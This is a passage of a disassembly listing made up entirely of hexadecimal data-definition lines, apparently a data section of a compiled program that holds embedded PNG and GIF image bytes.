		dd 0EDEDECECh, 0EEEEEEEDh, 0F0EFEFEFh, 0F1F1F0F0h, 0F2F2F2F1h
		dd 0F4F3F3F3h, 0F5F5F4F4h, 0F6F6F6F5h, 0F8F7F7F7h, 0F9F9F8F8h
		dd 0FAFAFAF9h, 0FFFBFBFBh, 13h dup(0FFFFFFFFh),	4F921FFh
		dd 3F000A01h, 2C00h, 2760000h, 6000015h, 708AC0FEh, 8F1A2C48h
		dd 0C972A4C8h, 0D09F3A6Ch, 0AD4A74A8h, 0ACD8AF5Ah, 7AEDCB76h
		dd 58B0E0BFh, 400ABFCh,	0CD620385h, 0F0DFBB6Eh,	0AF4E7CB8h
		dd 0BCF8EFDBh, 0FBEFCF7Eh, 828180FFh, 86858483h, 8A898887h
		dd 406828Bh, 4420901h, 960E0C08h, 9A999897h, 9E9D9C9Bh
		dd 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h, 0AEADACABh, 0B2B1B0AFh
		dd 0B6B5B4B3h, 60B0DAEh, 0D074203h, 0C216140Fh,	0C6C5C4C3h
		dd 0CAC9C8C7h, 0CECDCCCBh, 0D2D1D0CFh, 0D6D5D4D3h, 0DAD9D8D7h
		dd 0DEDDDCDBh, 0E2E1E0DFh, 0C0E14D9h, 0E0A4206h, 0EE191814h
		dd 0F2F1F0EFh, 0F6F5F4F3h, 0FAF9F8F7h, 0FEFDFCFBh, 0A0300FFh
		dd 0A0B0481Ch, 130883C1h, 0B0C85C2Ah, 1782C3A1h, 0C21021CAh
		dd 0D05C200h, 0DC6A321Bh, 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch
		dd 532893C9h, 0B2C95CAAh, 3097CBA5h, 499CCA63h,	9BCDA6B3h
		dd 0D4C27338h, 0FE01E170h, 0D80D2103h, 0B440E06Dh, 48A3D1A8h
		dd 0CA5D2A93h, 0A7D3A9B4h, 9D4AA350h, 0D5AAB54Ah, 6AB358ABh
		dd 0ABB5CADDh, 0C360AFD7h, 764B1D8Ah, 140C06EBh, 6071081Ah
		dd 0E870321h, 9DCAE370h, 0DDAEB74Bh, 0EAF378BBh, 0AFB7CBDDh
		dd 380BFDFh, 0B84C1E0Bh, 88C3E1B0h, 0CC5E2B13h,	0C7E3B1B8h
		dd 0C8730F90h, 9081C160h, 783B1707h, 0B3B9CCD8h, 43A0CFE7h
		dd 0BA4D1E8Bh, 0A8D3E9B4h, 0CD5EAB53h, 0D7EBB5BAh, 9ECB63B0h
		dd 0EDB6BB4Dh, 0EB73B8DBh, 3BB2DDEh, 319707CFh,	0A1F0F06Ch
		dd 0C8E3F1B8h, 0CE5F2B93h, 0E7F3B9BCh, 9F4BA3D0h, 0F5BABD4Eh
		dd 6BB3D8EBh, 0BBBDCEDFh, 0C3E0EFF7h, 0BE4F1F8Bh, 670F773Ch
		dd 0E0805781h, 0F78803F6h, 9FCBE3F0h, 0FDBEBF4Fh, 0EBF3F8FBh
		dd 0BFBFCFDFh, 600FFFFh, 480E028h, 81E06816h, 0E0A82608h
		dd 0E8360C82h, 7E0683E0h, 42041930h, 741A050h, 0E1A08420h
		dd 76FE1C86h, 2087E1E8h, 88E22886h, 0E2689624h,	0A8A62889h
		dd 0B62C8AE2h, 308BE2E8h, 8CE328C6h, 0E368D634h, 0A8E6388Dh
		dd 0F8208C63h, 16108146h, 882170Ch, 0E4691644h,	0A9264891h
		dd 364C92E4h, 5093E4E9h, 94E52946h, 0E5695654h,	0A9665895h
		dd 765C96E5h, 6097E5E9h, 98E62986h, 2196E64h, 7108167Ah
		dd 881F0701h, 709BC230h, 9CE729C6h, 0E769D674h,	0A9E6789Dh
		dd 0F67C9EE7h, 809FE7E9h, 0A0E82A06h, 0E86A1684h, 0AA2688A1h
		dd 368CA2E8h, 86A3E8EAh, 5E1208Ah, 0E1806042h, 0AA642408h
		dd 769CA6E9h, 0A0A7E9EAh, 0A8EA2A86h, 0EA6A96A4h, 0AAA6A8A9h
		dd 0B6ACAAEAh, 0B0ABEAEAh, 0ACEB2AC6h, 0EB6AD6B4h, 0AE6B8ADh
		dd 623D08EBh, 1E064420h, 9424084h, 0EC6B16C4h, 0AB26C8B1h
		dd 36CCB2ECh, 0D0B3ECEBh, 0B4ED2B46h, 0ED6B56D4h, 0AB66D8B5h
		dd 76DCB6EDh, 0E0B7EDEBh, 0B8EE2B86h, 424B6EE4h, 641D8708h
		dd 0C3B06BF0h, 0BBEEEB96h, 0EF2BC6F0h, 6BD6F4BCh, 0E6F8BDEFh
		dd 23BC2FABh, 56BEBA0h,	26E08296h, 6C1704A4h, 2708C1F0h
		dd 0CC2F0ACh, 0C3F0EC37h, 292C1B10h, 60569407h,	41EE85C1h
		dd 1CC6F1A8h, 0C7F1EC77h, 0F22C8720h, 6C9724C8h, 781FC6F2h
		dd 97045930h, 50C1905Dh, 0F32CC565h, 6CD734CCh,	0E738CDF3h
		dd 3CCEF3ACh, 6B33CF7h,	0C1204C18h, 6D174418h, 2748D1F4h
		dd 4CD2F4ADh, 0D3F4ED37h, 43FD4750h, 3B0010h, 474E5089h
		dd 0A1A0A0Dh, 0D000000h, 52444849h, 1000000h, 15000000h
		dd 208h, 13300800h, 53h, 47527301h, 0CEAE0042h,	0E91Ch
		dd 48700900h, 7359h, 130Bh, 1130Bh, 189C9Ah, 74070000h
		dd 7454D49h, 15150CD8h,	46C0071Eh, 0A9B5h, 44494700h, 0D7085441h
		dd 11C1C105h, 4102080h,	28CE65C1h, 4D2CC74Ch, 0F2FC68C5h
		dd 3962D47h, 27DD75BBh,	0D1F2C892h, 0FA5534A8h,	0F63BB17Ch
		dd 39907860h, 1FB19CC9h, 8850920Fh, 416C4288h, 0AE614004h
		dd 0FDB1B0C5h, 24B54E03h, 24B44B1Dh, 70h, 4E454900h, 6042AE44h
		dd 82h,	38464947h, 2D6139h, 0D5E7002Fh,	211E1F00h, 24232022h
		dd 24261F20h, 28252727h, 28292627h, 262A2A26h, 2B272925h
		dd 38302D2Fh, 373B3A36h, 37383C36h, 3E38393Dh, 3B3F393Ah
		dd 3A3C403Ah, 403C3D42h, 3F41423Eh, 3E3F4343h, 443F4044h
		dd 474C4542h, 4C484A46h, 4B47484Ch, 494D4D49h, 494A4E48h
		dd 504A4B4Fh, 4D514A4Ch, 4C4D524Bh, 544D4E53h, 50554E4Fh
		dd 5051564Fh, 57535459h, 55595955h, 56575B54h, 5656585Ch
		dd 5A5C5C5Ah, 585A5E5Dh, 60595A5Fh, 5C615A5Bh, 5C5D625Bh
		dd 645D5E63h, 61665E5Fh, 66626460h, 68616267h, 64666263h
		dd 63646968h, 6B64656Ah, 686A6566h, 67686D6Ch, 6F68696Eh
		dd 6E72696Ah, 6D6F736Ch, 74736F71h, 73757672h, 72757377h
		dd 7A737674h, 777C7475h, 76797776h, 7677787Dh, 7C777E7Bh
		dd 797C7A7Eh, 787F7B7Dh, 7C817F7Dh, 84817C7Bh, 81808186h
		dd 858A8083h, 8B888384h, 868C8984h, 8C878E8Bh, 898A908Fh
		dd 8E908D88h, 908C8D90h, 95919393h, 9896938Fh, 96919193h
		dd 93969498h, 999A9893h, 9A959B97h, 9E9C979Ch, 9DA09E99h
		dd 0A39EA4A2h, 0A7A2A5A5h, 0A3A1A4A2h, 0A9A4ABA8h, 0ADAAA5ACh
		dd 0AAAEABA6h, 0B0ABB1AFh, 0B3B1ACB2h, 0AFB5B3AEh, 0B6B4B6B4h
		dd 0BBB8B3B3h, 0BEBFBCB7h, 0BEB8C0BCh, 0C3C1BCC0h, 0BDC4C0C3h
		dd 0C3BEC4C2h, 0C7C2C5C5h, 0C1C1C4C2h, 0C7C2C9C6h, 0C4C7C5CAh
		dd 0C6CBC8C3h, 0C9C4C5C8h, 0CCC8CACCh, 0C8CDCAC5h, 0C9CBC7CAh
		dd 0CECCC6CDh, 0CBCFCDC7h, 0CEC9CACEh, 0D1CFCAD0h, 0D1CBCFCDh
		dd 0D2CDD3CEh, 0D6D3CED5h, 0CFD0D3D1h, 0D5D0D7D4h, 0D3D6D4D8h
		dd 0D1D9D5D7h, 0D8D6D9D7h, 0DBD9D4D5h, 0D6DCDAD5h, 0DBD9DDDBh
		dd 0DFDCD7D7h, 0D9E0DDD8h, 0DFDAE1DEh, 0DCDFDDE2h, 0DEE3E0DBh
		dd 0E1DFDDE0h, 0E4E2DCDEh, 0DDDFE2E0h, 0E4DFE5E3h, 0E8E5E0E6h
		dd 0E1E9E4E7h, 0E6E4E9E6h, 0EAE7E2E3h, 0E3E4E7E5h, 0E8E6EBE8h
		dd 0ECE9E4E5h, 0E5E6E9E7h, 0EAE8EDEAh, 0E8EBE9E7h, 0EBE9ECEAh
		dd 0EFEAEAEEh, 0EBEFEDF2h, 0EEF3F0EBh, 0F1ECEDF0h, 0EEF1EFF4h
		dd 0F0F5F2EDh, 0F3EEEFF2h, 0F0F3F1F6h, 0EFF1F4F2h, 0F3F8F7F5h
		dd 0F2F5F3F1h, 0F4F8F6F0h, 0F7F2F3F7h, 0F4F8F6F9h, 0F7FCF9F4h
		dd 0FAF5F6F9h, 0F7FAF8FDh, 0F9FEFBF6h, 0FCFAF8FBh, 0FAFDFBF9h
		dd 0F9FFFEF8h, 0FFFCFFFFh, 0FCFFFEFBh, 20h dup(0FFFFFFFFh)
		dd 4F921FFh, 0FF000A01h, 2C00h,	2D0000h, 800002Fh, 9FF00FEh
		dd 9FF0481Ch, 94CA6733h, 0B0565325h, 1087C3A1h,	0E59B1E0Dh
		dd 4D2612E9h, 0B285329Ah, 0C7A22C85h, 7D90C888h, 9248342Ah
		dd 64B15628h, 87A41A75h, 1F622B91h, 26A40E63h, 52A08FCBh
		dd 0DCE9A8C4h, 2416ACD9h, 0C96E903Dh, 942D48FCh, 0A8CF4F9Dh
		dd 6CC67341h, 0CE65B261h, 1442F274h, 0A1AD1668h, 0D289A90Fh
		dd 335A8BC3h, 858AC664h, 18D64635h, 2B4A6532h, 0B58599FDh
		dd 7A58B521h, 4633418Eh
		dd 0BBAFD88Ch, 0ADD57F78h, 0A65A8CCBh, 12DAB644h, 0D72785FCh
		dd 82C26133h, 8C2C5DE5h, 0D0646258h, 25926120h,	452E9FF8h
		dd 5305A09Ch, 0AFF3B8BCh, 594C1CDh, 32AAA463h, 81A23FA9h
		dd 0AC0D5E79h, 99523335h, 0D52D6328h, 0D5331408h, 12FF73ABh
		dd 0ABD2CBD6h, 0DD009BB6h, 0B8BBA612h, 0DAA65131h, 0BC44622Eh
		dd 0C5606B38h, 85429160h, 6424CFF5h, 0CF3B70BFh, 2E185ADBh
		dd 0FE87D453h, 0EC74E9EAh, 8BEDAF97h, 0B6130179h, 0AC28D4EBh
		dd 6B194C75h, 0AFBB9E8Dh, 715EC060h, 0D4473AC2h, 2DF5CDB1h
		dd 962B1F86h, 2506D560h, 4C55D4CCh, 33117A80h, 956D2B9Fh
		dd 0E5485A81h, 31CC7805h, 4AC2F4CAh, 61C8545Bh,	290B338Bh
		dd 0B429F53h, 561E12E5h, 0CD424465h, 0B32CCE41h, 215041DDh
		dd 6D7ECBA3h, 2D870149h, 4CE8B0D1h, 133A3A71h, 70FF655Dh
		dd 0CF5F4791h, 6E646340h, 4CE92646h, 340A402Fh,	0ED492206h
		dd 52678D44h, 2A0CA52Ah, 4B9347Eh, 53188719h, 465597E5h
		dd 8F24CA23h, 120FF934h, 0AF1DC5Fh, 0E91A5598h,	0D090270Ch
		dd 0A422C841h, 15A4D1E4h, 0AA2046Ah, 0A3425F32h, 0ACBC30CCh
		dd 5D1587A2h, 21C6C1A0h, 448218B4h, 0A16C4E93h,	708C1D46h
		dd 0A92ACA52h, 268A129Ch, 0D031F48Eh, 0B1984B0Dh, 783A1A47h
		dd 0FF9984C1h, 19C61158h, 4721BC6Ch, 51AC6E1Ch,	55BC0990h
		dd 705619Ch, 45A0E822h,	0D4C6A412h, 0D84D15C4h,	23078210h
		dd 11C580E0h, 2A47EB9h,	30F43D04h, 4C34B002h, 1EB14461h
		dd 0E415001h, 0C23AFC3Ah, 114510Ch, 4803446Dh, 200D8350h
		dd 13C32B00h, 110B6C44h, 20C41101h, 0C422B843h,	0E6108470h
		dd 400543Eh, 200BC2Dh, 10C2FADh, 0CD0EBC44h, 1E0AC29Bh
		dd 0FC2EAD0h, 90DBF03Fh, 90940C01h, 84170782h, 3C0F82D0h
		dd 2105C18h, 2508C0Ch, 0C30EC3h, 504C486h, 240800C0h, 5C18070h
		dd 31C1A859h, 0D02C0241h, 884105B0h, 5C9C311h, 0D013029h
		dd 0C05C50h, 0B06905CCh, 0E0070443h, 3E0250DCh,	0D0F42D07h
		dd 40712h, 3Bh,	38464947h, 2D6139h, 0FFE7002Eh,	79B000h
		dd 0BE007DAFh, 7CB41D76h, 47FB700h, 0BA207BBEh,	82BB0081h
		dd 85B80Ch, 0BA0084BEh,	82C60087h, 189BD28h, 0C10388C2h
		dd 83CE1587h, 8CC12Ch, 0C2068CC0h, 8FC42189h, 90C600h
		dd 0C90F90C5h, 8FCA0092h, 1392C71Fh, 0C50095C5h, 98C81596h
		dd 3593CD06h, 0CC0999CAh, 96CB2596h, 1B9ACA2Dh,	0CD0E9BCCh
		dd 93E1109Ch, 129DCE3Ch, 0CC149ECFh, 0A19C14A1h, 22A1CCA3h
		dd 0DA3C9FCEh, 9CE0389Dh, 24A3CE31h, 0A019A4D0h, 0A5D1A8A5h
		dd 8DA4B41Bh, 0D21EA7D3h, 0A8D529A7h, 51A2DC20h, 0A536A3E2h
		dd 0A9D5ADAAh, 22AAD72Ch, 0D33FA3E6h, 0AAD522ACh, 40A6E335h
		dd 0D624AED5h, 0AFD526AFh, 33ABE430h, 0B056ABD9h, 0ACDAB2AEh
		dd 3BAFDB57h, 0E432B1D8h, 0B2DA44ACh, 52ACE22Ah, 0DC33B2D9h
		dd 0B5B02CB4h, 37B5DCB7h, 0DF56B0E7h, 0B2EC2FB7h, 64B3E143h
		dd 0DB3AB8E0h, 0B8C13ABAh, 57B8DB9Eh, 0DE3BBAE1h, 0BBE333BCh
		dd 3CBCDE34h, 0E1BDBBB6h, 0BCBA45BBh, 0A1BDBFB9h, 0DFADBCBFh
		dd 0BCBB3DBEh, 47BFDFC6h, 0C737C0E2h, 0C0E192BFh, 6FC0D340h
		dd 0C071BAE7h, 0C1E2C2BEh, 8EC1CB41h, 0C0A0C1C5h, 0C3E5CAC0h
		dd 0C4C2BD43h, 0ED44C4E6h, 0C4E43DC3h, 7FC6CF53h, 0CFC7C2C5h
		dd 0C6E892C5h, 4FC3F146h, 0C147C7E9h, 0C4E6C9C6h, 4FC7E970h
		dd 0E7B2C6CDh, 0CAD840CAh, 0BEC7C870h, 0C650C7EFh, 0CBE7D1C7h
		dd 4BCAED49h, 0E96CC9E6h, 0CAE860CAh, 6DCDDD67h, 0CC5ACBEBh
		dd 0CEEBCECAh, 0CECCC64Dh, 0ED88CAE7h, 0CFEA45CFh, 63CDEC55h
		dd 0CB62D0E3h, 0CEECD6CCh, 5DD0EA6Ah, 0EE50D0F3h, 0CFEB50D2h
		dd 66D2EB79h, 0CC65D4E6h, 0D0CFD4D1h, 74D1EFDAh, 0F16DD3EBh
		dd 0D4F052D4h, 5AD6EB5Ah, 0EB53D5F2h, 0D1D488D2h, 62D5F0D6h
		dd 0E97CD3EFh, 0D5ED53D9h, 0D7D4CF70h, 0F46AD6F0h, 0D4EF55D7h
		dd 77D6ED83h, 0EC46D8F7h, 0D8F67DD6h, 72D7F04Eh, 0D765D8F3h
		dd 0D8F2D9D5h, 8BD6EF6Ch, 0F54FDBF3h, 0D8EC5ED9h, 93D7EE85h
		dd 0EF58DCF2h, 0DAF280D9h, 7ADAF174h, 0D451DDF5h, 0DDF4DBD9h
		dd 67DBF659h, 0F78EDAEDh, 0DEF64ADEh, 61DCF852h, 0F588DBEFh
		dd 0DFF85ADEh, 6FDCF64Bh, 0D968DEF2h, 0DAF1E4D9h, 53DFF795h
		dd 0D6DED9DCh, 0E0FADEDBh, 9CDAF043h, 0F669DDF8h, 0DDF277DDh
		dd 5BE0F683h, 0EC45E1FBh, 0E1FA9CDDh, 63E0F64Dh, 0F53BE2FDh
		dd 0DCF07FDEh, 91DEF0A4h, 0FA97DEEEh, 0DDDB56E1h, 6CE1F6DAh
		dd 0F372E1F4h, 0DFF59EDDh, 3DE5FA86h, 0FB8CDFF4h, 0DFDA57E3h
		dd 81E0F8E2h, 0F37AE2F4h, 0DEDD93E0h, 74E3F6E8h, 0F09AE1F2h
		dd 0E0F2A1E1h, 89E2F8AEh, 0DF8FE2F6h, 0E0E2DEE1h, 90E3F8E4h
		dd 0DDA8E3F0h, 0E2F6E5E3h, 97E4F6A9h, 0F6A3E4F3h, 0E6F39EE5h
		dd 0B3E8F3ABh, 0E7EBE8E3h, 0EAF7E6E9h, 0B7EBF7AFh, 0EAEEEAECh
		dd 0FFFFF2EFh, 4F921FFh, 0FF000A01h, 2C00h, 2D0000h, 800002Eh
		dd 9FF00FEh, 20B0481Ch,	9A4815C1h, 0C3428194h, 1087C3A0h
		dd 13A0F20Dh, 7E3ED649h, 0BBC5F0FBh, 0C4486896h, 446B118Fh
		dd 162D06D2h, 0EEF87E31h, 0F2C75BCDh, 20209DDAh, 67D3FE63h
		dd 6D30CC8Ch, 22AD6ADAh, 0BC5EEFC7h, 79AED79Fh,	4A860272h
		dd 0FD11990Ah, 2D34AA7Dh, 0F0532D67h, 0A753D5EEh, 6BB3198Eh
		dd 39289481h, 7876492h,	80030F07h, 162797ECh, 64B55ACEh
		dd 0D537ABD9h, 6FAB349Bh, 0D2293094h, 160CC743h, 50442A20h
		dd 2810080h, 0E63E0906h, 66E7273Bh, 0ECC55CCEh,	2E974BD9h
		dd 9E5A31DBh, 926144C6h, 198CC7A4h, 0E8904C2Dh,	5028160h
		dd 7C061008h, 508977D4h, 0ECE5C3D3h, 0EE6733D1h, 935A2F58h
		dd 0E22E4CB0h, 168C8663h, 0C8744225h, 84422140h, 0E623A206h
		dd 30C9C3E3h, 56E45AB4h, 0BD5EB9Bh, 5741AC16h, 7BA128A2h
		dd 0DDEE7303h, 0FE0421BDh, 2F8D2E78h, 0FE6ABFC3h, 2E1783B1h
		dd 0B360B05Ch, 3E89BD4Eh, 0DC7547BDh, 0D04779BAh, 9C12FA3Eh
		dd 0FDB53868h, 0DC3E46A2h, 0A8B65B33h, 5619C932h, 0E19564Ch
		dd 81D089D6h, 10301167h, 0C4F2441Ch, 387E08D1h,	3B0DD2FDh
		dd 9FF33CDFh, 320CA12Ah, 0F9946C86h, 9E75DEF0h,	5880C051h
		dd 45D32511h, 87E9862Ch, 58D63B0Eh, 0A82A0B83h,	18482260h
		dd 62212620h, 0B051D882h, 0A08E445Dh, 0B58B4D11h, 338E4394h
		dd 4A32B0CEh, 81E08F26h, 8C3F81A3h, 3F679F18h, 1A8F243Eh
		dd 1F990C7Bh, 7920E534h, 3099928Bh, 5087C6D2h, 671F05DAh
		dd 90F83DBDh, 32705B32h, 0A0D461A4h, 0AF310DD3h, 25094294h
		dd 26419C85h, 0C9444713h, 0C6F23h, 5C25D1F0h, 3722D77Ch
		dd 0AD370DDh, 240A028h,	0E67A1E09h, 259983F8h, 955BC828h
		dd 7E3B90Eh, 730CD51Ch,	2CCD3728h, 8B22C9BAh, 942911CCh
		dd 19D82A23h, 0F38D06A6h, 0DFFE84C5h, 350D04E1h, 0CB2300D4h
		dd 21C9B26h, 4A631CC8h,	0AA09A66Ah, 43A6A052h, 0E6F8ACAEh
		dd 0F71CD04Dh, 1C922494h, 7BA987F2h, 8203E11Eh,	0C11A59B8h
		dd 223906B0h, 0A1C6B1C6h, 0CEB30A65h, 14A1FAF2h, 0EC0B5221h
		dd 0E47C0C6Eh, 7A9D960Eh, 0CDB2EDDAh, 64EBDB3Eh, 0E96B9AD2h
		dd 29B11F01h, 0A4BE380Ah, 0B2598AB2h, 1B6E1BC2h, 6E416067h
		dd 0CA56D49Fh, 7D05B619h, 401B8532h, 13C39410h,	5682987Dh
		dd 5AF2F127h, 0C8389430h, 15B9C2F0h, 220E347Ch,	82344030h
		dd 0D2747811h, 531BC0C9h, 1FC743F6h, 446E982Bh
		dd 931198E3h, 0A21C5A0Ah, 4B041D48h, 0F8076F6Ah, 12CBA446h
		dd 1C03D32h, 31E86D11h,	0CE93BD26h, 186E02F0h, 2591F010h
		dd 0D0252036h, 10EC1F02h, 6C561585h, 1A0A1965h,	4130C038h
		dd 7561D8EEh, 20140241h, 5C1E0781h, 0DB4C9600h,	0DCF67164h
		dd 422910Fh, 641378DDh,	790B2988h, 1B0DBDE7h, 8CADE77Dh
		dd 0FDD381DCh, 0D38509CEh, 8CE24AEDh, 0E3F8EE37h, 0F92E4790h
		dd 6E5794E4h, 6798E5F9h, 4051FEh, 3Bh, 0
		dd 38464947h, 2B6139h, 0FFE7002Bh, 10000h, 213110Ch, 25197024h
		dd 6828072Dh, 712D00h, 2F017F2Dh, 782D066Eh, 7D3800h, 38008A37h
		dd 77390384h, 423826h, 3D12993Dh, 6841096Eh, 0D804200h
		dd 3E2B7F3Fh, 8B421252h, 128C4609h, 471D8848h, 864D1481h
		dd 1C934C19h, 4E146E4Fh, 5B4C369Eh, 1E935219h, 4F388C52h
		dd 61562469h, 2881561Eh, 58275C58h, 9859196Dh, 25935A18h
		dd 5828515Dh, 0AB5A2293h, 24A55E26h, 6127A160h,	0AB651E9Bh
		dd 36506738h, 62466369h, 0AB6A2682h, 31A2663Ah,	7335A469h
		dd 0A86E2837h, 45A06B35h, 6D3A926Ah, 4E753996h,	3B48793Dh
		dd 76459273h, 91714C73h, 345B7945h, 743CB176h, 0AC773AB3h
		dd 57667B46h, 824F8576h, 947B5240h, 3D937F46h, 8249BB80h
		dd 0B6813F8Dh, 3CB6804Ah, 8A53CA83h, 368D5861h,	5BC48941h
		dd 9450788Ah, 0A0895237h, 5B948566h, 8A4A5190h,	0C18D40BFh
		dd 506F8E59h, 8954BA8Ah, 859058C0h, 4949975Fh, 944FC894h
		dd 839565C1h, 4DA69656h, 9664D095h, 8C9A6198h, 5ADE994Ah
		dd 9C4F999Ch, 0BF9B5ED1h, 61CB9E52h, 0A96E1EACh, 59A56C29h
		dd 72CE9D66h, 0A26922ACh, 96A563A1h, 6EC5A35Bh,	0A16737ACh
		dd 0D9A459CBh, 5F17B56Bh, 0A868D5A6h, 0B96BAFh,	757BAC72h
		dd 0A67121B5h, 2AB37AC2h, 794DB17Bh, 0BB7618B8h, 77B07A06h
		dd 6308BB7Dh, 0B681DDAEh, 0DBF7238h, 8000C26Dh,	0AF5F42B6h
		dd 27B980EAh, 6D0DBB85h, 0B164D6AEh, 0C4B16AD3h, 761EBE77h
		dd 0BD7E00C2h, 2ABD7C1Fh, 8310C07Bh, 0B26B14C0h, 4C873E9h
		dd 8536BD88h, 0B66660BAh, 96B584E4h, 72DEB37Ah,	0BA7000CCh
		dd 80BB81B9h, 7928C486h, 0B971DBB6h, 71BD8BE3h,	834FC08Dh
		dd 0C28B1FC8h, 0B3BB7D43h, 7034C589h, 0C88ADEBCh, 0D27621h
		dd 8D93BE8Ah, 0D17F5EC3h, 0D9BD7E00h, 78CEBE7Fh, 0CF8AEABFh
		dd 55C98F28h, 8129D184h, 0CC941FD4h, 34CE913Dh,	7FC3C684h
		dd 0CAA213DAh, 56CC9E5Dh, 9B00DC86h, 0D59350CFh, 18DB892Fh
		dd 84EDC882h, 0C88EDFC9h, 3DD692D3h, 9928DA8Fh,	0D59E7DCFh
		dd 0B8CE8F3Fh, 0A469D39Ah, 0D5A360D3h, 51D7A257h, 0A5EBCD90h
		dd 0D39539DAh, 6ED6ABB3h, 0A1D6CFA3h, 0DBAB8FD7h, 76D6B14Bh
		dd 9DFED48Ah, 0E0A8E6D3h, 0FAD5924Ch, 0AD7FD8B2h, 0D49C8CD9h
		dd 0F3D2A4F4h, 0B66CDDAEh, 0E0BC5BE1h, 0CFDBA85Ch, 0B83EE7B4h
		dd 0E3B6E8D5h, 7BE0B965h, 0BBEEDD9Eh, 0DBAEE2D7h, 0F5DBA9E2h
		dd 0C0B5E0AEh, 0E8BE89E2h, 0CEE1B263h, 0B75DEAC1h, 0E1BAE1E0h
		dd 0E8DDC4D6h, 0C797E7C3h, 0F0BC72EAh, 0F5E3B75Dh, 0CDA6E9BEh
		dd 0E6C496E7h, 0F4E2C3BBh, 0C8E7E4C3h, 0EED0D6E7h, 0BFEBD3A9h
		dd 0D9AEEDD4h, 0F5D4B8EEh, 0BAF2D592h, 0D982F7D8h, 0F6E8A0F6h
		dd 0E8F9F5D5h, 0FDF1FCF6h, 0FFFFFCFFh, 4F921FFh, 0FF000A01h
		dd 2C00h, 2B0000h, 800002Bh, 9FF00FEh, 0CE8FF81Ch, 0E907839Eh
		dd 0B0C85C10h, 7D85C3A1h, 0E3EA2CFAh, 46A362A8h, 0DC6A1E80h
		dd 0A14F6FF8h, 5E0F1345h, 11B244F4h, 230493C7h,	0D15459EAh
		dd 0AF61B0D6h, 8924911Ah, 3E9D24F2h, 0C9EE227Ah, 0BF9FCFD4h
		dd 0AD3D3274h, 0E6A9E55Ah, 1D1188C6h, 0CFC471EDh, 424538A7h
		dd 68CADE87h, 0A41EE1B4h, 75322E7Dh, 50E868AAh,	5AAAAD5Eh
		dd 6307B9D5h, 9EFEA6A3h, 8B755AB6h, 7153ADD7h, 6230D204h
		dd 0A31287E4h, 145E107Dh, 3FA7AC86h, 0AD86D57Bh, 15CBC5E2h
		dd 2A0B3329h, 84523874h, 281D1D4Bh, 0A83470B0h,	9F3A5017h
		dd 0BB55FD98h, 2595CB75h, 485C8052h, 4A0A6271h,	0BEC46C9Dh
		dd 4AC1D8A4h, 8DB2E523h, 0B9F5FAA0h, 53AB556Fh,	3A41499Fh
		dd 30D3A793h, 6582735Fh, 4B0604C3h, 1C921E88h, 48A8C6BEh
		dd 0EECCBD51h, 4DCA4120h, 489E102Ah, 52F8F89Dh,	0A95B66D6h
		dd 0FE50562Dh, 0CBF48954h, 0CD4041E1h, 86220515h, 4B2B5FB9h
		dd 7C948A7h, 0B0D084Dh,	69409424h, 8BC884D2h, 483A1F97h
		dd 0D3186E1h, 7A0801D1h, 8FB229E9h, 77C0F34Fh, 0C5F27C4Ah
		dd 6B161D71h, 3A4F93A8h, 87023CA2h, 0B0C05717h,	686E08C1h
		dd 8A8250D0h, 30C81240h, 0CAE5BD3Eh, 2C8A783h, 0E4821A89h
		dd 0F7370C31h, 3B4FA3DCh, 0A1B1F8A8h, 0E0582A0Fh, 30411486h
		dd 0D27A4744h, 3E0FC749h, 24A2B8A7h, 22C8B82Eh,	747C2461h
		dd 0C98D4CC1h, 24CBB360h, 43211A1Bh, 31FC2306h,	48188CAh
		dd 0D5242452h, 2BA4933Ch, 0B82F4BDh, 0F1FC6A20h, 0A4942989h
		dd 0DA3BCF73h, 26CC5350h, 84D18C7Eh, 9028240Fh,	34AF28C3h
		dd 9674A624h, 9A649838h, 0C781AA6Bh, 0C3209D1Fh, 68F43B8Dh
		dd 0D3380DA3h, 16A792A8h, 1409046h, 0E2648C08h,	1A859890h
		dd 762B64CAh, 2CE6EA28h, 8F53B8D1h, 0A3C0DA37h,	78FEA54Dh
		dd 527C18Eh, 0C9922C23h, 0F2050F33h, 0C8B52D59h, 1A13C812h
		dd 9B884148h, 0EAA330B4h, 3C0E839h, 5A953B0Fh, 2B12063Ah
		dd 28C38050h, 0D1AA04A1h, 60E0390Ch, 28060402h,	9F208410h
		dd 1BC6B2D0h, 0AC93D0BBh, 0B2AA94B2h, 0AECF1C89h, 9D088150h
		dd 190FB5Ah, 40B02008h,	0E0541502h, 20C41540h, 0A2184643h
		dd 3B2CAB20h, 0B9340E0h, 71205A96h, 3C020482h, 0EB2BCB01h
		dd 4807468h, 81704411h,	706C1904h, 0B4DC38C4h, 0DF360A91h
		dd 0C10F13C8h, 2B12E4D3h, 2C2C3E15h, 0FCB010C0h, 0C468C22h
		dd 6017048h, 2407418h, 7294340Ch, 90FA3A4Fh, 0E637CD33h
		dd 314D839Ch, 47224CAAh, 207834C2h, 64040141h, 30110C31h
		dd 7818047h, 2B09425h, 81503E0Dh, 0CCED2C48h, 0D034CCE3h
		dd 0D1B44334h, 2D015063h, 20100C06h, 0A43703C0h, 1804B301h
		dd 0CB5709Ch, 4541203Eh, 92A07E19h, 0C538FE4Eh,	31CED384h
		dd 46125CBEh, 50D04813h, 10070442h, 3F050050h, 301746Ch
		dd 0C3209C17h, 2DDF75E4h, 1CA21F87h, 0E538CC03h, 2B0C632Ch
		dd 0C401886Ch, 40138F0Ah, 581D0240h, 0C0451C1h,	0AC2B060h
		dd 4460FC30h, 718C5A13h, 2C9720F9h, 0B02FCBF3h,	2648E264h
		dd 80B0503Ah, 104805E9h, 0AD1BDB83h, 1E030070h,	0EC42A0ACh
		dd 0FB414C46h, 0D27C6418h, 2C99267Bh, 59230892h, 883D12Ch
		dd 43F077A7h, 70D51C25h, 9C1EC4C1h, 480C8240h, 177D2FB4h
		dd 0C89483D8h, 0B1D87622h, 0E0823192h, 2815C31Bh, 0E43880D5h
		dd 0D601A3CDh, 2283E080h, 81121D8h, 0D41A9FACh,	7C508760h
		dd 50160462h, 77C81241h, 40C82B12h, 80380402h, 0BAF6A8D4h
		dd 960A415h, 0A943D09Eh, 50878816h, 14096318h, 0A01C9AC0h
		dd 0C82D9351h, 64197100h, 6666C580h, 0E1301081h, 0C424240Ch
		dd 0EB19E2Bh, 0A80C02Ch, 466872C6h, 340B655h, 74CE99B4h
		dd 1624807h, 42022004h,	0CB142210h, 0C0270658h,	0F82D83E0h
		dd 31558841h, 50801A44h, 20300B02h, 5B544789h, 0B617E0Bh
		dd 1B839462h, 1942303Eh, 0B1458136h, 53154190h,	3C0AC1A0h
